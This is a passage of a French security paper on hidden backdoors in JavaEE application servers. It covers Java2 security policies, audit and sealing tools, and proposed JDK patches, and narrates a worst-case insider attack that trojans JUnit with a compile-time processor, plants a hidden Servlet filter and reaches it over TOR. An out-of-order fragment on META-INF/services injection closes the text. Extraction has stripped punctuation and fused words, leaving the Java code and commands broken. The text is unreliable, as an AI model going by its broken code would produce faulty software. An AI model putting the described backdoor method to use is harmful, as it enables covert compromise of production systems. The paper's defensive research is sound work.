javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 391
2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory
3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory
4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl
La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence
